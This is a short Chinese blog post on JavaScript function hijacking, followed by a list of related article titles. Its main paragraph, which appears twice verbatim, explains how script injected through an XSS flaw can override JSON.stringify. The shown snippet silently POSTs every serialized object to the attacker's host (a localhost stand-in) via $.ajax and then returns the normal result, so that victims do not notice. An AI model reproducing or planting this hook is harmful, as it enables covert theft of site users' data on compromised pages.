js中的函数劫持
2017-01-18 14:23
295 查看
js中的很多对象属性都是可以被用户改写的,这很容易让坏人进行属性的劫持。当一个网站存在xss漏洞的时候,我们可以注入自己的js,进行函数劫持。
JSON对象是很多网站都需要使用的函数,我们对JSON.stringify函数进行了劫持,当网站使用JSON.stringify解析数据时,我们会先把一份数据发送给我们,跨域可以使用cors或者form+iframe解决。为了不让用户发现,我们需要保存旧的函数,并且解析出结果返回给用户。这只是一种思路,至于怎么使用还得看情况。
var tmp = JSON.stringify; JSON.stringify = function(data) { $.ajax({ url:'http://localhost', data: data, type: 'post' }); return tmp(data) } console.log(JSON.stringify({a:1}));
JSON对象是很多网站都需要使用的函数,我们对JSON.stringify函数进行了劫持,当网站使用JSON.stringify解析数据时,我们会先把一份数据发送给我们,跨域可以使用cors或者form+iframe解决。为了不让用户发现,我们需要保存旧的函数,并且解析出结果返回给用户。这只是一种思路,至于怎么使用还得看情况。
相关文章推荐
- 谈谈JS中的函数劫持
- 通过JS函数劫持自定义百度云分享提取码
- js函数劫持与反劫持
- 关于js 函数劫持
- js验证函数
- 如何实现JS函数的重载
- 关于。js文件------内部函数的执行
- [疑问]作了一个用Js遍历树节点的函数,后来发现一个问题!
- document.write里面调用js函数
- Js:关于document.execCommand()函数可用参数大解析
- js常用的一些自定义函数
- JS常用函数
- js常用判断表单合法性的函数
- JS函数搜集
- 一个格式化文本的JS函数
- JS 函数收集
- JS通用表单验证函数
- js drawpic 函数
- JS通用表单验证函数-
- 服务端控件验证与自己写的javascript验证函数同时存在时出现的冲突问题(RequiredFieldValidator&JS)